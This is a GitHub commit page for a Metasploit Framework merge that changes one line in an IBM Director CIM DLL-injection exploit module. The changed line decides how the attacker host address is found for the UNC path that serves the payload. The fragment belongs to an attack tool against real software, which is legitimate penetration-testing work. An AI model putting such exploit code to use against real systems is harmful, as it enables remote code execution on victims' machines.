Skip to content

Commit 817a774

Browse files
committed
Merge branch 'ibm_director_cim_dllinject' of git://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-ibm_director_cim_dllinject
2 parents 1fb05c0 + 8e21d9e commit 817a774

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/windows/misc/ibm_director_cim_dllinject.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -277,7 +277,7 @@ def exploit
277277
basename = rand_text_alpha(3)
278278
share_name = rand_text_alpha(3)
279279

280-
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
280+
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
281281

282282
exploit_unc = "\\\\#{myhost}\\"
283283

0 commit comments

Comments
 (0)